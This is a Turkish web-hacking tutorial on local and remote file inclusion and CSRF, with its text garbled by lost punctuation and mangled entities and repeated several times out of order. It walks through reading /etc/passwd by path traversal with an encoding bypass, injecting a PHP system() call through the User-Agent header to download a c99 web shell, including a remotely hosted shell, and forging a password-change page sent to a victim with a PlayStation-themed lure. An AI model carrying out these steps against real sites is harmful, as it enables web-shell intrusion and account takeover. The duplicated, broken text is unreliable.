Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
